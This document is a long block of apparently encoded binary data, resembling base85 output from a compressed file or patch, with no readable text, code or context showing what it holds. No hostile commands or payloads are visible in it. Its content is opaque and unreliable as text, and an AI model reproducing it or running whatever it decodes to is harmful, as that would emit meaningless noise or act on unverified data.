z<fEau(4WsCZOw%_q0@oMA!n`b;Uh(tZ=IaHZAX4>2FNyA^5<%S%t+E>4`T$8N~1Ek zEEp2H`>Mu~rX?24*Xs6}bGsMr+2I+!dWrh5Z5-w_ij+}-N;;4DJ5kE6Su}q0xl&6a zpMB^#QLNywm=UJwdzQzW!5!lDJj(_l24q>(`kv%mlHV}F7Wp;V-Eyrfx%(1~d1<ew z%b?}DSHs>JN;Vh^rp=*kQEB-5C43&wS~e9g?)>$*wUiCdj5-FkyOr_piiObSM=18~ zl3{ANdZJq2UI&M(As5~N+L56ycga_bMDp(~sEg~uzzMaWIC>Y<DY6a9>UlkvPfAWm zVe8b9BV4pflqqQ;TV;=!s~%1386G7=mf~4Z7l7O%3Z<|-4-!fdeTfoE>+fVK_R#0b zfLeBrgP1{UC<QP_lA;6at-FY587ao&7cx7CF15aeIkry<+B(CQ)?1cu9&hI-N;t7( ziGO=_Cw7qhg2zDPaPJQGpsW`f-91E#f{QlsgP@1ZXvK=<5H>xK<K1_)_fN5*l~b0e z;s&=uVAX>;0VKmn@>3=N>Q89a2)O`PDrC78`*U@m7VAj;lyQ^PpZTCaW&h-_teI%0 zOYEm|7m9sxCAl^Sih|ISNl-);m<`0&$fn9rx)1Ccm~)D5ci?tVH9{vbNEF^g`*fF- z@AG;&+2_kh49ZDaK@Z3&LA&Lh;%Pod+c`cwEvP2v1hMO-gdm_St!HrCrOa<+lkm)M z<j|EUQYAg5%*{{Yu44*Xj-G}fZ+}MFIDJpF^ItYdGRXOzH6+>z$ba~SpoUZq^`(e+ zOF}axW!GL1Kmr(;K%uEo60J*~W;xPKA$lYrdbD_YBr$u{WTB@0bLL7}y(6bqG|hdL zK#>QIAYzBEUKv=J87(zv@`Lo9pjX%}(aY<UB*{fjCCOFq`#z^z%EF}Qa29EGyh_8_ zdYaE+gI1PjS~a<AAm#MIBar+dGPclJmk(&8W0M9@{cz@JITi5)O;%$imYebpra~p- z%guh%tK%^pMz%fr7QNdtez-DwJ7(C;AuSU=QP>Q{<lDP1zmON$(kJafBilaoms4Lg zIdsC<wX@4-MzJ!U%}A3R5uYRJJJt6(z6R+ztwG9ttlv&2B;`xtDbJU}%BD%4$XQhQ z7oQNm?r|kNZ8a!K;9dmwv8SH8`(i*Vi;GjgxFoRJO^0wu+F?G=U5Yaj&G0K|-}z); zY2qGDHAj9Eo=zR5m0U1~Z?^qZ%(UM-vQAHV)(_<w3&;ne&)q{$2?MC`rvW_GiuJxP z;cpT4s+;Gq_ao{;xNnzqtwEw@B#Vq2HApj%5CRz=NI|N;QW2_Y=W7dlAK}8ZH)p@~ zH*C8kQvHi_^EY&)Xm2_?64fCUT+pIENCnth^Ed>!-B)bsgYyu;XE%p@1-RJ0$bDB} z>Z5VLl@)jWdfXUJx?Cffhla1n+J87SHWC<ILNTJC<XmAVp_`;`O1Ki2b4j@4f~9dm zH^koG+OgRqxx_@uf1REB{uTHmo2ODnk!}62kVMb{^BQjUDLy~13`uBsc%9#C+(fCk zlk7$wr9d+k!}N{Q)78;@@!<6Sn<AljK&>_>ouP86GCJoP2v3*Ndm_c?_GK&cPdBTJ zR!cpR-Ikkf`g1Jn(0L68Z6XyMTCgTUrEDr$%oc5=nbgqkcjCmQ%9>1*<Jb~nd0FFw zcdoco;lLd71}|xR3?ArK?Uyh<S|5hC$DNU9v4g9i*YPu-MT)s)8g?9ahoohnV1j3m zpgrZ;JLpHWIacY?ULsDJ3B*pG?8GQP^O;K|6tOy+?G8^)v6l;5=M~ABnczv@!FE1_ zZoT{-_r(99RXZ^!@&E}^AXC*LR|0`KgDRv5vX4Gm{r%QBx9+S3<KR?ETR|s;#C&A@ zNNw`$j=%sWr&-emQ>o^3movV+#h5+*!}RyRLY4`8pS{Q%F(aaC2<gM#$>;4{d-0M{ zd$r`#uu)duUn%XWG3IebCdMZwB3cu?na9Bww}CHktGZ=Ux5ek;Tis(sDL5e+UYbf5 zXUG;_mmwu3<9<|Ois14bTb1lR1-4YIC<R!X621Yx;5@r3{Gmi!w;wGz`Bz{syM!Zz z5s|5P8I~1<vt6K(oE@~4xs1&Oj0B#nAbaH*;Ta&*<mJcHO(a+=Nvnx4Djy-!$^PRC zJdV)1^aHo@Fd&<m&)f<i`tD;x>y^}Wwz;F|9KUf9WtO()2%cjGMY=!gv4-qH>+QEQ z`-3mfEDz<D3ff3*M{Vxr>E+ns@X(IjYI-bI$Xbg7t=G@N1YvzyQ1xX&P1$yGMoj~j zgM=$~6?PExs3D=Kk))1B^X<X4a%6cTl#2u{`2>}8Y|o6$N7AzcgUE}h`htt;V*XyM zzmbbKYGF$`6-t^4<&TB?9Sozgf{EclkFOBOgu<nP(RtdRDD0XINWlTAszZ{4+_I6& z6=cg;c8fV3H4-!;>@(Ty(I7U(Y}>CMjK_RIlR>Ym`llMv`2<~u+jb1kICL&eWAvtR zU(xJK*a}t5&UBSpPv_^7Vad`l_>4~b%HolT54U0Wi<aDa?fLI7-!#Gw`CUIwr_3V< z2J?Fw*f+A-Zh(Y2#<L740NW05W^jK!wVoSo>j{vA#S3bKx*X9A@H4mo_I_`qlC`)U zhOY9UAuf^Vo;Sw2Dum2Ve=gQtAcRIt3WlNNAj}w}Q$r4qRlO(`2{ApYgqWd|Rnekg zP}>XDSR?hqraB=R=uiTt*aZX5>_1T_G`-0dC36#)uY4+mxj>>RXQZWQB2=+_wvu7` zvz6<rsR#~Dqtgb{?go&Jx;vsbx!i??K;G>b<W)n{k&y$H$w}1aP2UCsbz59HHmA|z zM4{vE)xv58Mk-^PB_sp5+BHPE<-zGgKI7PdCd^gR7<^(lp$9ZcT=|)2tK(<bX0@Bz zPkHqsJ*65QtQ7C2Xx=m-QOtzr4Dy_^R{uwtB}#?U*Z>Iyg`otvfdXUPrVu@GpYFv6 zFm7BWVB9z&^96&$pfQ>-<{RV2`807h)q1ZtAdMUMBpkQ;Dn7K=u$|@e#_9W#_`cg% zOVV!KY3v5KB=L)H!@f&nj@!Wx+3%G?Ml!h7gzUvX=eHZ0N+kqIW6}|ib=c#d{qnz^ z20qQ0WN;^3gguFarW<$-1TwLtpT(E)pUK(<ui*76Xhz;j51N?n%5Rc<nD&UT4*5JJ zC#AhJ^aU8;x(?)~C5TfdU#1#};+}2xilW>eAz!z)nR-wJL|8ZnieN5E+5+dqo$oZq zg{2MTJIIBN6picJRGZKs+;ulo3E{=^_%fv*%ap}a{yKthZMr!4YWAD`c_dZc-r3dG z6EjmG$CrAEBLJ4D`-ON1s6!qTB=ZFnd9XQ<ksYEyr~?T)To`t3DMbuPx+LVqffJwE zy{|)QDefs+(MYXLI!nbpgUE1GmV#Ae44*|ysmNmas+6-jW<7fQeO)W~;!H&dI_x=j z_p&}eQ)ZoY!NO1`VDmlLW{Wzc{TJVk74F%z{~(cot)8Vp13s4(BYEVYbT%Ejqt9{K zoiihPf9FNhY4X`P?0>P=0PkeGd37$Sp9i-ANHW5Or`m5fE8cZ&=Oj!X6SCTyR}Ckk zj18ud&tA43+V}3xS$q?nztT&CBg@HoHk7Fjva2fv>AQt{VHNpk{tYY-zO%3^c!2C; z-~5rgu2V9-cd@O%`Ol<i*<Wq_t#<Hl85**vL^m^B_;fVgCJosR9&Sz^ZOX}`$kb5K zRypwj38bedwn`v9y~Gnpw?gJ?mq;STUgaUGs0LoH?XD?twk`eaFMgo)*)1IFOO$rg zH*A!7wva=PWP{Bq<_oird@QiQ@0dNroZ&*$VK8evN#}TJpisHeRHARjgMp-oVUm!W z!F};i@pI29uZW_-WgZQ7P<ANs*99xOqUbQo_b#A*xlr*1gn#~u;>OTTk=A*l7>M9E zp_{bgeBT%Fw}c4_u+b$ORI*IuNDP1jtc#9{D+6Q)(hGEpoNfm<)e-E}a0AqR^t#;C zO|#=SZ=0%>%C>>!QgC!K9tfGkmdapqc|PI|Za?ZzI?dr~DgY17o@Kv^?7Mn!<@TA{ zspW;UQQy#bqPSczATPl>H*Ge%o$kR_HnUL9G}1w{^LTw|DTP%40i<4IutM(U)KfpB zccBZb*r$P2%4!TPTSCmXi^U)P;wOc#pC4LaPqo~no9Q<(lNG-Sln#=Z0Fxi!H{t8w zo`J8}Y_|%RyX|RRWX{#Jyi?B*MXTiQEUpRNR6c%s@#gX3{(D!~U$~x+Ppnt2i|3|w zt-l`FKIq6VH5%IoU5(w@_vF3EfwryRIX`yi)g#TTo;OxGx;EO6XWsmKZr0DAU96p0 zD_7Qz53b%ZtG=1&+S_`X$8HdN2i93fR1wJp1bf(OqWmxEASAt=;T>c&??^{q=t_C* zX~zqhU@&RzrkHgu9V+RA<w$hQqd~2TCeV6%v?M&z`ch;N^TgPFt#|0W4xJ(IEqnYC zXSSlA+Ba5k1v%pC1ya0Q(D%(rnwYrTGpPbjug&x@1TwM}RED^NGt5w92wm4R)Ye9$ zxhjw=*uDKaBSyNos=jz&ceT2@-gMTYDRUVaMP_ZkHte2EW(!UgV|IWoOs&^jo7O}) z7SS6AXO<Sj%w(!X>pH#BT6N@2(=VF|d(^5zAQdeSIbHRUX4xvJ)GT}W;0|Ajj+xJl zTf^BpB+Wxqk*Fo+wg?${HjZ?jVUbO)+&CRdESz3gzJ59!+jjkQqU1B^eS?`~Ib>4z z2M4V)H{CZi^}x+@v-o=we=inxo@!3qc4(-u>(p@m;O=QC8Dvf1KWFi+cJhw^TiCQ2 z$rL5|zlNSkHz%JQ2RKoYr=LAEGycBw|J>=%4BVJKiQmT(ZU?=RPfCTLFcC>j!kp<| z2R2s=4kZ@N1d7ej@`N>?4h$HLdP~R`i3Nvu*R!j$8GCvEw&sxfOP-ixS~s+3b~v!@ zmPT|u!+bVl*l3Kng?z|UuSA@MrMj;<vv;_--HBTEQ1CspCh9?`15FEUUs>^CI8%~; zLj=~{Xz9YWIEe?DUibit_~5Rzw2EhUTwUT`k4|T-1*fL{)1%s?UT4u3CS!~_a`8Yx zr`MXpzDTrmY+>@+vCwSu>Lc^dw|2QcKBL36G92GVbq47CG@MG*!+xtVq&G!i0p~;E zrCNN~jDMzKww<2db{yun&<C$Y5U>);9q+qVwh&`-{3%vvH5&{@QR`{4--joO$?X58 z!Ir_<J1}wL#LGYSCrlntIBQ5{gU8sXT62fl{C~0^(JmE$C_F2i=MgO~_q#kj3De-g zZd@KQhB}OzRt;xR;zy0<e`l_$B*_g_Yt;UjC0lW8Je9m9UGxm7n3%{-X<L8g*%qF> zYCN>#E^B@&8Y;ns4_kB|gVCnX&&EBY!%3~x5@WkO`FCsn#9&EI?Jn-T0WhG@SHk%@ zv1&eX4tk0>NEx_91}AhpC0?nt#BY-Dmk=45U{oNp$e|lcmiXk=+opD>qmfidqthjP z$V#{AnK3uy9bOyqO`V-hWct<iWW<$;=nbBXb^YP%6Q^!EHkzM^1PTLAo!?+Wq%&5Z zU5J`}HYUWT_SdFvm|Dn8#XVyqDSOzS*t@fez3c}v{CRXJ^DB}E-Bo}yq`B$lvWQ^& zuS9%~u+>%=P5ym6Kc!_Kh*vTRr#4|tx}B3dQrXilhp`{Yec;Ia0}s4rEm(ne7{)%> zu@6z~1n&bSsWuKecdRfuVwB--Jmf2&A8H9ewkc2QVu9r9{6J<rHrvc?Tg?m|8&5Wa zwb|(WZPVrE@b+v96>DqJ0VXukp#jf~)t;TJq!-2<xl`H7(x4}^(u_}5?U8NE>6!KH z0vpMtcc&t&p}|>pt9LF~ZTRy3%(5)MY|5$07!|ZIZV|3lb5d$tsVHYI)kGjdjV9Mp zL}^&qm|aUHB5A)?ONUj6IJAOwDc#&%_fOosICpe3V2({(lX0cPbXuWs)}gVdPz@Ff z4C1f?Iunj4RGnT<JCXv6P4BPGT|ZVma_@5S#?uFe*fAVe`QSn}GnsIYkC0xbDV>nG zDvdyM#97}%V7@q3VBIVWo32OmqY+6G-agBF?zQEhNYU%-@SDT<&F3x!ue-by{O8|6 z3SxEZSRH7>>Rt!!2wW5YIRqLnCrj$=CxYOpnOje2y=iyrZ`q5-Z@&4#zxxM8l;~3V zZc&17I*M;93g_`nZ>W&fvZwvc4<+g6n~^^m79PjzZ#+gnAH?fbPT8BHz3+cBsgsQ# zLo)pclme|ekYS#I8TJ?3tYzVk>-b&F!NugPudC7mM15aIc$7}9PYX2peXVcEuYZ4w z*B@iA<gX{;?P&Sy@0EZ5&-w2^#y-;e22Rq&ihaMrciUjeAT<u<XNo?o)?Cw0=aln} z3C8pR)Y_)ejqBf2nd7a`^#^qfrVr~IU?sK#zfE?Kq72)*g{wlz5aFtYR3RCpHEoFn zi~fwq?=m=5I*m8r_C+QNiK%RHA!RXZU!XT@%cw#w&7cX>gd^-XXtWNsIf1V2u2R%B zn28TJVkQ^~YOD1eQITXxMqU0<w?@_&#AQRihLGzrx`%85GSC`w3Kmy$9o;8gT8~@v zM-z)dchCvx8PtX1_C!GI(&+6vA6k+5eP#!!bp_pl(D>lUu0nLMBnay)Ii7N(a42S1 zd$b01I^>Gkkp<<B^asK^mBvYgWAvwEATm@B4(SX-=_Ym3O0gnlczzx8<vq&IXX>y- z5L+g-ht1D4wQq8|-u6$4u`zxCuT&kD&cMt@H{d5UZD9i|yz}n6umkapKV@rTjI5h^ zvF`AQ4(5O6nZ{SYvXlK`fxRo&x~p}TcB+W?9g*I5Amb354%f+{uY9%f%+5S}h&`BV zo#3YmP1*OEzSmGkG(vckV%EE2xk4zC%UDZMr03xeePUr_9=^(hSO<7_k~|GbW7YT( zXzs`u15T#Zs{{E=tW<L5{vv1@nhFUlN)Rcg^enB=ji})pza&J!<sZ@#cYml)%ie_N zRebul`122AY4qI1pMyf-JAJRA_j9iP5VLTu{*Zv)A=uppKJRPTT^-SNPE13OyR{<9 zrrL`+o)%N-Tue+QLIbp_!auR!i;j&&Tc@6EFHgYgvVDIE?4N(mI(nO9aZLxB_JLuf zbv{g=la04Or^q6$Q}jXX_c|X$=Z!o5RZvtTE<MKy0h=n^xurE`LF|Qiwh33FoAjSX zo909;QR+{{tznPWsI`Q>(MaRi_}bBIesVJJaB2GW{l11?UfG{TQ?~FxEU`2ase}v` zogrj2VVo*jx+k|4&|o(|KRTFqm;npc%=#~Ptv<VvWq*s+bDC%PqM>ccm*7`P4hDN9 zlM&m2-JPV7!z2OVfpl*ZQ-f&K36%QNF<Z#1G3XScSC4H)bdgO(($+{m9$)5E_iGJd zgE{IIST>xPzc|(4nH<ygeVYBD3f!`B9&;ray5T*+jte@f7s1XG4-h|abN#c0rGbH^ zLSY&Ie<HtFC@kis{}OL!S&%)AGlPG%o(3F@B_ZgEgq%hLi}v(<60l4>c0+_<hZ1<z zP5%OR!r@J=MR>rbHW|!=>A@+dHDuNp%RXl_-EY=;5HHo4`_m1FEgsYuQeM|2-h{WR z?Y4;DVD_PK(QNRCS=JnhSZo7+e7+5{GgUe*jJ8RaEr!u+HrHe!5YcLcehk&rX|#d7 z%@PfpO)9t9K3XV@+AMBrqDovS&SFJD*jRlBnh56cKQ(Qwi9hJ^uC3uuqM6V-@XEV$ zkGbAc{Ug_7g=+^sR5+D?pYyT7_qqNsdt>f{nUN1xKV<#Dp)Vi$3;d5A{PLj>eBc92 z{4#dU2jBSJz}KM7)}hU=-zAiew4Sbs-$05+&#N;GK>6PDUp^ur)Fpmp^w|ndZxE5I z&kL`mn=RhLZ#?pwFFaK|IgC606l8!#_z=&z+6`IpUwsea=MSeyrtsG#nF2{gvZKUh z2Y;U=Q;=Xq&xhEXus4{XjQ(a<x;F=tXPl=CH#=|2oXor-b0T%daVC4lc|+p*<m+R# z*A2X3i@hP5u)3$D)s>{xm5^J-`f5zY-otL?dxjjD8oQOL&fGxzHH23-I<E||uXVj5 z`np~bp5(9KTjWne^#o<?u)Z@J*9!lzLGwY8%cpjo5w3sa1{IQp(5(!vQ<%qo`_?@c z6>L%wquF@-+ux)jg^*RNwZbk<rq<^2`MFi$nMCf!=iPiL5IAtd+0(g1{DzmmV}1Qy z51ygVqL`ai{;UjOh@q00X;S>yA`EtaR(h3xR_p1Df7Zr%eAW&4EVxHA@{J|A!YdW= z4}ODduCyeJaOco}0O`mQ^wV^)oh#Q?)#~i9$1|KYRIgnL=IcIDEvR#=L$%esN>HnO z^?d8;^3@BWg>C*?ZZTQQ>?<rDDJ%-+`bd8|=W6UJ<NcN04IhAukzpHK#0s^b>UN2$ z^+cV#dICo=7MxHiI6(9x(m5p2Lb99c`?$Cy`zJwEsF2y0U#$(T=J4?%s0e~oL#~M; zgq&Jky|(rABC`#TSj$acV|NAbDeq~xa_Rn&x>;B(99b;v%hZyKxtf0)NWYq+K$9Dc z-H-bQ#d*MiISr!6HObiY=Tu+b5P!KSKKpKwXa^H9s`JCUX2e*%>B!XCHrDz)-X{F& zS<9j*9upVAJF-3p?|hg?%kVRM7`G}-KjXH17}EqulEm1bve#lSoHRiKyd!wHP$j*n z;paoi;+vnnFk=YzSOfpD`GN3E&|D|`Ad-;ngPlMYH$9=-?P4Fts(+)(2p`_~k#Lq% z_A&g;h_b#fbIP`)>jE0K_)6*X`#y!w$BOyq3z&NLbM`kv9y<s<GSBMF1Msm4qmBNC z*8eZ28~pTVRzC3l(uq?x=Jqmk=|}9B!N2x=A@hFre%iAnKH)pcCmhH$>zO8Vsrla? z*As)E`Sc*uweA@_b)xisTjiJRN2S)UynmC%FK500Ba!tvU_%@da&(5u_p>;7(me8s zPgoh!Zp_W^v8U*rF}(A7>7B~=9Bh8#6C=!QZ9c`m*KGaD4SELHQ!D_9C(<XbXCV6V z=L@=P^xwlD_S6sXKYUgmANfZ9F8-b&!)g8+IO_HI?)PD*k(n=Ne3F?(#=)d0bz7~q z-F7mZ2$lxk2t9-UT2w4wb;pC@xCZ6lR;L-0q6JZ{7WN)B<abS@CLk6JCp4I&)$cH< zh5Hb)RjXB&U~#eabRdVsf?`w<3rmNNW<&c9%o^GH{JEuIR(_rso(=C5Q#+4NPTq57 zeGun40<E-Lcn0VB-M$ZS&L)NUu=qHzb}75{>b`eEMhcjN^N8>h;f0vja2Wfn>EM#c z)5(;?rflKzm3g?0MhoVbUq&l|VnQasY9kaAtHv)v8n8!?Jb1KJKK|h0^?Uc^V8~3& zN8w;t#K1x{HxnM+KkS~4snEa~Fi|+;G0fk&efq|g+~D4uCvpe&MBUBTzuu9Kx&*CD z@6QJN9Vdn1Q}-`TzwCJnBUhiBoH#t<7nmtnP0x+YuT+k$6b;7sp7m`GOVE~`nDrld z(M<E`xtWzaR&$=gL|}62m&1on4j?H@$WL!iB+``G>464(4^DanYu}HxOGq&V7&-<M zB~ZwM57`nKZbjk9VeUx9%sg2LYbLu#lE(mNNOp5U$kYS-=5vSUk_jU_y}!O|AUB&* zm6y_@VDi}isHxT%^eU|?Gwr-d*Gyz?jHai&X0Lg4G2(FPqvLKcP$Za%S>45j%G~w7 z%=B<z<q%A^-13-Pg*L1vpE(%qXVW`GQ^X!>_(ZK3%g=@b@yw#nZS)xH%L&w|^cSb1 z?8eZ6NU~Hagb~K3o^uSS?&EZ`4>;(=vEZ1PaA?KHgy?9hu#jd+;jC~BEdt-5iB438 zW@FFJi+8bS0i=+Z5Jc4GnZDh;C#s~cdJtG_0I+ucxqNHdw?b~@z;6bW7_={k_pqU) zHu=s$i*m3?WX9(DU^M6rn$;Rz)*Z<>6ZH{KayFk&daM8&2UnVSLnOrCpiOxI7cmwe z8uO*5vIB8*z+GNx!e*?FjkvY^um6*siU#wHIfF)n+kke=DQBdTi}ia)wpX%i@z6vt zG&`2cPR4>c!4WhXU3#m-mvY8yxwy?Uy1ks)6L$`!f_M)*X-QavgE=@P{ZSkL2k}#B z<5S|b&^ZodVIxmP;wM@=N5eK_`~r+?@*t3)(=|4Pt4|>4q)yn^u6o-o<CC{OeCY67 zZyuYv^)2hW?makIKJ>y}D=#`yDIdOXeg4d3X#DU*xZ!6jbK03~Vl<wZD<zjg<=C#} z#fh_TJ+%L=&zqUK{jK}=z2(;Fk>L~fEiK)Da%AM>{Yy*toftkdb9P(d$c_RA5I7<q z8Lt+0Rf{VCa#N{dvFb!MclV0+_rZj^+?p~RQvo7D=^4~fokSnjhg-xmAHWvyil8-J zO;;z&4mHe>=9gRTJsuwh2}Y-;A_s2}(1avow(G-Tx9tX#-yHU9RR)`p4F_UHPc(0F zId!JXum7b5!J0eojOm0SHnSES${5vNOQ~pK1%1?AE%mFn*%Nr}C+>VGlhC_j=U}{o z|7Vy_<-_e6?OTU+0Y1+--C7S|3@Op54s8Ilh>jKF5Y2)RjqJRd0V0#mh$-4A8%YVd z*{7Cv1)m^%VZYkiuMrT;XT{e$QKyH07T<otXwj;SCh_pQoL;75Lh<8H4^!i%yUxGO z>5j%T8Ie68W-{>@QWBW&i^hD-6CMs+V-4wqW|{RTcAso|R6^s)z<}G7jB0;8h-ZJ- ze)SG*B5!YfMpG6nNhX%cZ+>%m5S@s__+?sgkiD9nfTZlFIEAeH+CC-Du`TdETUpK) zcND72nd0_BqEJZ03kCM-fu&MuDW9kR4lFj3$p-x)IaFld@B6iwBujlg<M5mwJ9w6T zKfrRN!SEV;mzabl_V3&h`*+e~_??N?(|vyp=|jIG*2F2{K~?K%mG-y40iAPr?c@A4 z((q!<DAdFS@ix_s_`}Yj{PxA???H_5KCFqV0olj!-V|AMh(cr#*OZ|jEo4(&UX%v2 zuc7d`eoG-w7&8`k*~~}gYNJWp&e6AI0?vf1o=Z%7gN}o(FS~9Rto2fKogKXO#<BA7 zZ2aU*@ehwwbH2&p*73E;$ra7giH|sM&te@xSQ9@Hen}Nk>tLY<<qAol0@pqs$<!w6 zn#k#BB*2VNLl6(zC)LJ&qu#1(OsefsmosXQPDiy)m0$|{{UM{Ea_FKn5qs3>j5@Nz z==*~S&qmZq?El>7);+ru{W^os<MHZkn(WnCXFe3lJG0khwKl!i<MA0(7Ik8ed+%pH zcYyXh3tFEM{);34`6m?o=p}Zm1>hNc1-<|fd%*&*sJ339g=Zims6L_JA2JAn&Zvsa z`a!%aYERDiG-i`lXVVQ$cUG!0WBi6GjIjxLyV0bkwMMX3dydws)!X&yY{*H=kJ$Ya zNwq;oZ*M&v8gK@tr~Mk6!Ry9C9qQ2NXsED%pkJrQe)#k@EnW^d2SU;t1K1J%T-C1{ z*k2epP|zFH*g3b?VAcAicY^aG8^03F>{)a_L-b#YX-O;g#CQ)`GLPVgz%I}-*N(H} z6KA)tof#EcFA6PW?wX5b&wP`)$M)=Ln&;0gZ@+8X!d*)r41{iTPRz2*D@S>zWO?Ji zRo4@;O}Vap8Fq*86MiqgBz$S(3EUUNCWOD{6I1qbd++#05LpS&03Y}P5}o05Z=4g% z!t;<*fx1#j=Qm;hN)`?GVPN@y)d=q53J3>;=5?b-n?uK@*dexSm(;mW8w}~olfKbP zel1uk94oO`-K(FvX?gB>tLEq3s#_ZjA%nN*()$ek7Bv$O@2egd7Fa%6oTzH=C0R1n z7hun@|HL#MWILS8G|78v;$rdb^1!<winJbWhI3e^*&7)bUa>S1uv*5Ks?KUKRB=_8 zCi?pWqf2F1EflIbPdNit7?ggeBhata^rL0qY`Gb1_~u8a%>Di5$&q<qBRE=|9UV8B z&88ZxYKJAA@OTnwi=&uBc#r0VUMIwni86+LBCE~=FT5RB=0**;AD}*ViH3b)&!jjU zlpM@nzG+$(nGIpGm*uL3`e<%0J$iE7Uf4B$jJb1mao4OqGd&p0dxLW$sg<d8Vc#Ts z$7|Idd;Z6J_l*q1^O1h<%+Z<f^l(~y{!27=OYTQ#Y{A?aUt}Qbx8@p4m7%>2{cDL< z>Ix`AE=!s0>5R7NNe|Tlb4k`ZKrXbACR<daRcqB6r$<d~VYoDddGW3FmmYGSwlA~8 z_I>ufuRNAHm=$(<XJb=?&Gm+ftq!)n1tk=y{)_vDm8pC4<;t1st<$$Iu~pU|w(MGZ z!48i<|J};ARO4`i?ZC5s{CCg3nNgbXOZHG4_H`Z9HL;gKf#qA#gyxgL1H?~xYI{dE zXsK}xH=~Kh8fXN5lfoZXoV{%xnIxwRjk(B30zpgt>@HROKx4<%g9)#vUbWAyM8>Pz z&zNV`!#B4c6&&Y(DmbjA-OcEbOO+mV2WyS+Ao_ErcMSh1=k*RO<g;U5(VYw$k`rUG zq5QtRQ@3nm@e!eZdYFMRr99aIXnEcf2L4W6TW|6|U{}x$*b0Qgj6wAZ{!kPY8l7XL z5P4+ICTQT-S^TdvK<oYZpCD{IkoU#Y(M&0|e9LwoZhR~|nN8x)NcZq8>&WCt5`Vto zAF*gtJL{TwFq9k}t{mEyMawxLhg60CIp{Cyvondi1R|AOJ|&wF+o_3Xh&phDD~3W* z^3}*ZC#G=0H%++EX{UQM*{<i$C+1E}yQyi7F&@*lzWvWew+RF5T#2m16}Eo&t#4(g zTMtWN(&sRm?B5rf^BnsFS2(~GJE8aZc5xL!BmzDrSs*bi#E=J`GhtnlAmtoEGJ*6; zT9OX*cJ6MW56JV?+OeyfliOplh&OD}8dPpuGH27P-}O3;AsX^#Y^i$AVRQ>K;>fTy z5(-*8qkjEhAmXd0v<9tum7Q}}LOah4=SKXY0{n}R$s90g^vD&+Y=d(h8Xt1%H9lW3 zw0u%$vFR;7ma4_wp_<v8xB3cBwhq~b$nyVf?#iR%y2|^z_i0AbjAnUyGxIe2J|oSp znUQ8>E!N13<YnYVRxIzXEIYQr4spP-O%_O?#3Zrl2@VMmnuOC7LQ*IsCoQz`!3JuV zCL9M!Xq!Mud`jX|+ew!=#L-iK_q~xck|k4U{-}MV(KqkD``zWc-*&%yKYAE6qxhRk z%sr-@1VjgL?uJbduJKb8K6bqkEqDr%4B|T4bn+`8l~hMxpN4MLj(?eM9e<n*w)Y2# z{9IMaG%`e1u6gY>vVRee)isHWc{31)KGYV*Wu#$i;W}6kkuS)5$QPRD#!HgR_w`S3 zD?Z%+f`U3;jrvy#YPK$X=;L?L$3^NcdI9XQ4L_I@7Kw#rfmMx*rzn))49@u}sshwu zXu-A26=IdF?8Zzssn*|Ear5H7{rg*QGf8Hvo<!V{I&)bgS~VsesW;^DSDiVle>ISG z?^rxGHU@PUgVjgsJpOXF{I^mOb|5MDQFF+7JDfQtkBthBUHTxbZI)(ElP-L38Of7n z#9+7J40{<;as*N^OAkOQzO8u8_i#=cAa4Nvj~Mf_mBIbH`6Yn=6RIwmcpKFE&}<GH zoxx$%n~xL@Ythc+uy?FHvQFGCEFxsBP&Ti+W5mBE#4ookBJN^yZbeE@@@Z&RHAIvB zJIltU3vP*K(l>6KgU2ojsXW%~W;}NFdhpoAOC;9bF0^kIv;r;tZwG@}1mO+JUi>?8 z2D8wBP4pz5Um*-0R(UeucLNN@J~%z1l>e>rd>Vd_!4p^U{Fw6m>c6n^y+p&EBagwa z^fYH7R?y*6?Eas{2(i<`LHHA}2g0j9fysrft)!Wsf<IHD3zqHhMa-s<HxM=&gL0C6 zgnj;y$rKd2>7#w)2cZ&3DIb0}rbFb{>@yRLwl~?*AV4zl#>7v^0s0!SDi|{Zq`TZ2 zqL*8+3S-<+oQCPgGiC+&t$rc|g&28W?jzbka(s|z@z?W=mSdzu-XO<WEv%ec=J+7$ zSj~NtoWi+dwGQ0l5k?A|&ydc7{6lg;{y{tGqJH^@1=2|r03#FQJ`SuK;h}w+JHg$H z*adu&7pa!VzOvG)i@<epx>aDj6^yK97YD}%@hryeMJ*pyO5wd*F`62bWB*U|kitTF zi_#Cgu{S|}8Qa3%f_}~okP9@)_QQwRl|<oiGdU&qkdl0oCV#Nu%-FGGGfV9ZgH>oW z<N^wvl24M-K&2ELJ&s(Y+tC6YTjAg;YK<{+S}Cm5I;`19w^v?4-yo2Hf6MecZEF2$ zD-;BH<B<9S8><P71?|^Hc;G<XFM29Jg?i%Lr^#=~dBg}nx|P7`A*IwLTg*6UFEA!D z=eOh|;ap4H(^7Ey3eAyhIN}WT*{z+?Ilm<XqFt1P4Y*9UiQV`rZV>IK@l_MPl9aD( z;)rO+h{d_H3VpyGy>o87H%A!W=AzSAj7D1{z*}-yJI_jP$z?g{a9UkWly^!8Z64GX z0zLd2*^Asl$Rny@TFo(Dewds(@i98ezr^UVi#$uOVl81FOVQdOLWk*rfBvVtNqz&# zl4oE1dm_qjGR>-$y94_>8Rd3<=&3tlJ*kpW@#G<jT@{&39St+zY^p{P_ZAx>{VH}X z9Gi4FGn#gf<a7NAOJZ%IeKgd(xxIUNAihc-w6x{TI;Yzo5Ns{>BKd|VX>U(^%03~P zza!V3=#BQ4BMY_`yV^UtJ9l(180|c0@=9XR*JKc5{#4$X_9hE~l(!>{wR#mi?rZct zcD8Y5yb6oYj3Qd0T}g+eXaH?_RsOTY>e}7$KEEqy$Dv9M6%p7+LW2w4S&!cpz%`T_ zs<#py36|xzQ!!@?9J?Zqghv@Ky?x<_dZ{()b~aPeB5Lai@kYlF_3r7x2><_#u%^sv zr2mVUar7XoWN!HzX2-2pbc$+ybn=vus%@}Lu8N?Y((mXCie4vV^zy$-K0$sRr;1v2 z6N)lN@2J*3$M32V|McaW@uCW&1%U}lZ-xdCQCm<Dd8UsAAp4cu50slHMJtcBT43as zt6d;@-QojhVAGo=xMZ|_k)rdj8%(v2eP3g1_%BZ}RMLP0S`tChO!k@GusX}93I!Yr zg)>}!*(~3wiwMNIu>BRRk%{pMncvQDg|tEJ4-iLHR~x7tyMge6*-z-}=z-T)811!n zZsAeV`tEy_>~VQ?{L+)b)n4By%+Zzn`&dWJll>O?6|devJaz6C>bsQUYoqNIw=F^& z*`5Z=RQY;(UB2_il8`gtx|cPb^pE~{C=%=6=x{eX8c0n|!0XO>6J{J9*z~CZlObF# zg){@E1xLQRarB;{$N)*N*tjWDhszg=qot80;DeR8dh9+P1s~MFFMpZePG7(Z7opd; zvCQC1o=(coij%!^KDna9vuN0gyq)j)_nEvMf4zG+o><q}vo4-pm$yT=H917PTdy@b 